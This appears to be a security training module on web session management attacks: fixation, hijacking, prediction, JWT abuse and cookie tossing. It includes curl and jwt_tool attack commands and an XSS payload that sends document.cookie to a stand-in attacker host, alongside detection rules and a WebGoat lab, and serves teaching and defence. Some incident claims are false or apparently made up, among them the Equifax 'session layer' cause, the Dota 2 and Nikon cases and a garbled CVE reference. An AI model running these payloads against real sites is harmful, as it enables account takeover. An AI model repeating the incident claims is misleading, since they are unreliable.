Session Management Attacks
Session management is the bridge between one authenticated HTTP request and the next. The web is stateless, so every protected page relies on a bearer token — typically a cookie — to mean “this is still user X.” If that assertion can be forged, predicted, fixed, leaked, or refused to rotate, the attacker becomes the user with no password required. The 2017 Equifax breach was credential theft plus an unpatched session layer; the 2019 Dota 2 and 2022 Nikon incidents traced back to predictable session tokens and JWT misuse respectively. This module covers the cookie/JWT session lifecycle and the concrete attacks against each stage.
The Core Concept
Section titled “The Core Concept”A session is three state machines: the client-side token (cookie/JWT), the server-side store (Redis, DB, JWT-stateless), and the binding between them. The threat is any path where an attacker can produce a token the server accepts as someone else’s.
Login: POST /login creds ──► server validates ──► issues session id S │ ▼ Set-Cookie: sid=S; HttpOnly; Secure; SameSite=Lax
Subsequent request: GET /account Cookie: sid=S ──► server looks up S in store (or verifies JWT sig) │ ├── if found/valid: act as user S └── if not: 401
Attacks against this loop: [predict] S = base32(rand4bytes) → enumerate [fixate] force victim to use S=attacker-chosen [hijack] read S out of (XSS | log | referer | sniff | browser ext) [no-rotate] login does not reissue S → pre-login S remains valid post-login [no-kill] logout does not invalidate S server-side → still works [jwt-none] W13: alg=none bypass [csrf] W4: cross-site request rides on auto-attached cookieThe same sid=S is reused across every request — which is what makes it valuable and what makes every leak a full takeover.
How It Works
Section titled “How It Works”- Token issuance — server generates the session ID. The CSPRNG source matters: Linux
getrandom(2), OpenSSLRAND_bytes,/dev/urandom. Java’sjava.util.Randomis not CSPRNG; PHP’srand()is not. Predictable generators produce enumerable sessions —CVE-2019-1980-class bugs. - Token transmission —
Set-Cookieheader. Modern attributes:HttpOnly(no JS read),Secure(HTTPS only),SameSite=Strict|Lax|None,Path,__Host-prefix (forces Secure + Path=/ + no Domain). - Token validation — server stores
S → user_id(stateful) or embeds claims in a signed JWT (stateless). Stateful: lookup is O(1) revocation. Stateless: revocation requires a denylist or shortexp. - Token lifetime —
Max-Age/Expiresfor cookies;exp,iat,nbffor JWT. Long-lived + no rotation = breach amplification. - Token termination — logout must invalidate both client (clear cookie) and server (delete store entry, or put JTI on denylist). Logout that only clears the cookie leaves the captured token usable.
Common Techniques
Section titled “Common Techniques”| Technique | Description | Detection Difficulty |
|---|---|---|
| Session prediction | Sequential or low-entropy IDs — increment & hijack | Easy — but only after you find the pattern |
| Session fixation | Force victim’s session ID pre-login; ID survives login | Easy to patch (rotate on auth), easy to miss in code review |
| Session hijacking via XSS | document.cookie exfil when HttpOnly absent | Easy if HttpOnly was forgotten; impossible if set |
| Session hijacking via sniffing | HTTP (not HTTPS) cookies on shared L2 | Trivial on open WiFi — defense is HSTS + Secure |
Session in URL (?sid=) | Token leaked via Referer to third parties / logs | Easy — token in URL is visible in proxy logs |
| No rotation on login | Pre-auth sid stays valid post-auth | Medium — needs two requests to demonstrate |
| No server-side invalidation on logout | Cookie cleared but server still accepts token | Medium — replay logout token, still 200 |
| Long-lived refresh token | JWT exp weeks out, no revoke path | Hard — design flaw, not exploit |
| Cookie tossing | Set cookie from subdomain to clobber parent domain | Medium — subdomain trust boundary issue |
| CSRF (cookie ride-along) | See W4 — covered there | |
| JWT alg=none / RS256→HS256 | See W13 — JWT-specific | |
| Cross-site request leak via cache | Cache-Control: private missing → cached response includes Set-Cookie | Medium — CDN misconfig |
Hands-On Commands
Section titled “Hands-On Commands”# Inspect a cookie's security posturecurl -sI http://target/login -d 'user=x&pass=y' | grep -i set-cookie# Look for: HttpOnly, Secure, SameSite, __Host- prefix, Domain, Path
# Session prediction — collect 50 tokens and run Burp Sequencer# Burp → Send to Sequencer → select Cookie → Live Capture → 1000+ samples → Analyze# Look at: entropy per character, transition matrix, FIPS 140-2 pass rate
# Manual pattern check — are tokens sequential?for i in 1 2 3 4 5; do curl -sI http://target/login -d "user=u$i&pass=p$i" | grep -i set-cookiedone | sort -u
# Session fixation (pre-login ID injection)# 1. Get attacker-chosen session ID accepted by servercurl -sI http://target/ -H "Cookie: sid=ATTACKER123" | grep -i set-cookie# 2. If server echoes sid=ATTACKER123 (does not regenerate), feed link to victim:# http://target/login?sid=ATTACKER123 (or via URL param if app accepts it)# 3. Victim logs in → their auth now bound to ATTACKER123 → attacker reuses it:curl http://target/account -H "Cookie: sid=ATTACKER123"
# Test logout invalidation — capture pre-logout tokenTOK=$(curl -si http://target/login -d 'user=u&pass=p' | grep -i 'set-cookie: sid=' | sed 's/.*sid=//;s/;.*//')# Logoutcurl -s http://target/logout -H "Cookie: sid=$TOK"# Replay token — if still 200, logout did not invalidate server-sidecurl -s http://target/account -H "Cookie: sid=$TOK" -o /dev/null -w "%{http_code}\n"
# JWT decode (no validation)echo -n '<JWT>' | cut -d. -f2 | tr '_-' '/+' | base64 -d 2>/dev/null
# jwt_tool — full analysis, signature brute, alg confusionpython3 jwt_tool.py <JWT> # decode + structurepython3 jwt_tool.py <JWT> -C -d /usr/share/wordlists/rockyou.txt # crack HS256python3 jwt_tool.py <JWT> -X k -pk public.pem # RS256→HS256 confusionpython3 jwt_tool.py <JWT> -X n # alg=nonepython3 jwt_tool.py <JWT> -T # tamper payload claims
# Cookie tossing from subdomain (requires attacker control of sub.target.com)Set-Cookie: sid=attacker; Domain=.target.com; Path=/# Subsequent requests to www.target.com carry sid=attacker, clobbering legit
# Capture cookies via XSS when HttpOnly is missing<script>new Image().src='https://attacker/?c='+encodeURIComponent(document.cookie)</script>
# nuclei — session-related templatesnuclei -u http://target -t ~/nuclei-templates/http/technologies/ -tags session,cookie,jwt
# Look for session IDs in URL parameters (Referer leak path)ffuf -u 'http://target/FUZZ' -w wordlist.txt -mc 200 -H "Cookie: sid=test" \ -H "Referer: http://target/?sid=test"Detection — Defender View
Section titled “Detection — Defender View”ModSecurity OWASP CRS — no single rule family for “session attacks”, but:
- 920220 (
Content-Typepolicy) — catches some login JSON manipulation - 942100 (SQLi) — catches SQLi auth bypass leading to session grant
- 941100 (XSS) — catches cookie-stealing XSS payloads
Suricata SID 2221019 — auth brute force / session prediction rate pattern [verify].
MITRE ATT&CK T1550.004 — Web Session Cookie (use of stolen session cookies, esp. by APT groups post-breach — the SolarWinds SUNBURST C2 used stolen web cookies).
MITRE ATT&CK T1185 — Browser Session Hijacking (Man-in-the-Browser, malicious extension reading cookies).
MITRE ATT&CK T1606.001 — Forge Web Credentials: Session Cookies (forging or replaying cookies to impersonate).
Wazuh rule 920/550 — multiple failed logons then success [verify]. Wazuh rule 2921 — simultaneous login from different IPs (web access log decoder) [verify].
Sysmon EID 22 — DNS resolution to known cookie exfil domains (e.g., attacker C2 endpoint collecting document.cookie).
Evasion Techniques
Section titled “Evasion Techniques”HttpOnly bypass via CSRF + XS-Leak. If HttpOnly blocks JS read of the cookie, an attacker cannot exfil it directly. But the cookie is still auto-attached to cross-site requests. Combined with a XS-Leak (e.g., window.open + timing on error pages), the attacker can confirm whether a victim is logged in and force actions on their behalf — CSRF, not theft.
Cookie tossing across subdomain boundary. If target.com sets sid without __Host- prefix and any subdomain (e.g., blog.target.com) is attacker-controlled or vulnerable to XSS, the subdomain can Set-Cookie: sid=attacker; Domain=.target.com. The next request to www.target.com carries the attacker’s sid. Defense: __Host- prefix forces Secure, Path=/, no Domain=.
Session fixation via URL parameter. Some legacy apps accept ?sid= and use it as the session ID. Send a victim a link with ?sid=ATTACKER123; if the app does not regenerate on login, the attacker’s sid is now authenticated as the victim. Defense: never accept session IDs from URL; rotate on every privilege change.
JWT refresh-token replay. If refresh_token is not bound to the access-token’s jti or to a server-side session, replaying it from another IP keeps minting new access tokens. Defense: bind refresh token to a server-side record, rotate on use, revoke on logout.
TLS sniffing via downgrade. If HSTS is not set, the first request to http://target/ can be intercepted and the cookie stripped before the redirect to HTTPS. Defense: HSTS preload, includeSubDomains, max-age=63072000.
| Evasion | What it bypasses | Defense |
|---|---|---|
| Cookie tossing | Same-origin isolation | __Host- prefix, explicit Domain= only |
| Session in URL | Cookie protection | Never put session in URL; warn on referer leak |
| XS-Leak + CSRF | HttpOnly cookie read | SameSite=Strict + postMessage origin check |
| Refresh-token replay | Per-IP session check | Bind refresh to server-side record + rotate on use |
| Downgrade to HTTP | Secure cookie | HSTS preload list |
| Long-lived JWT | Server-side revocation | Short exp, refresh-token rotation, jti denylist |
⚠️ What caught me: A target’s session cookies were
sid=<32 hex>, looked random. I ran Burp Sequencer on 2,000 samples and it reported 5.7 bits/char — healthy. But the same token worked after logout, after password change, and after a 24-hour gap. The actual attack wasn’t prediction — it was no server-side expiration. The cookie was the entire state. The fix wasn’t a longer token, it was a server-side session store with TTL and explicit logout invalidation. Lesson: entropy is necessary but not sufficient. The session lifecycle (issue, validate, rotate, revoke) matters as much as the token’s randomness.
Lab Practice
Section titled “Lab Practice”Container: OWASP WebGoat (webgoat/goatandwolf) — has dedicated session-management lessons.
docker run --rm -p 8080:8080 -p 9090:9090 webgoat/goatandwolf# Browse to http://localhost:8080/WebGoat# Stage 5 (Session Management) → Hijack Session, FixationObjective: complete (1) the session hijack challenge (predict or steal the session), (2) the session fixation challenge (force a session ID pre-login and survive login), and (3) verify that logout actually invalidates the token by replaying it.
Expected flag format: flag{session_fixation_survived_login_rotation_missing}.
Detection that should fire: ModSecurity 942100 if SQLi is used to leak the session table; Wazuh rule 920/550 if you brute the session; in the WebGoat solution writeup, the request log shows the pre-login sid value persisting across the login request — visible in the access log.
Interview Questions
Section titled “Interview Questions”Conceptual: explain why a 128-bit CSPRNG-generated session ID is still vulnerable if the application accepts session IDs from URL parameters and does not regenerate the ID on login.
Technical: walk through the cookie-tossing attack from a compromised subdomain. What cookie attributes — when set on the parent — completely prevent it?
Scenario: a JWT-based app issues access tokens with exp = 15min and refresh tokens with exp = 30d. The access tokens are stateless (signed only). Describe two distinct ways an attacker who exfiltrates one refresh token can maintain access for the full 30 days, and the controls that prevent each.
Why does SameSite=Lax provide CSRF defense for top-level GET requests but not for POST/PUT/DELETE? What request shapes still ride along under Lax?
Compare stateful sessions (server-side store + opaque cookie) and stateless sessions (JWT). For each, give one attack that is easier against it than the other, and one defense unique to its model.
Related Modules
Section titled “Related Modules”→ W4 (CSRF) · W13 (JWT Attacks) · W11 (Authentication Bypass)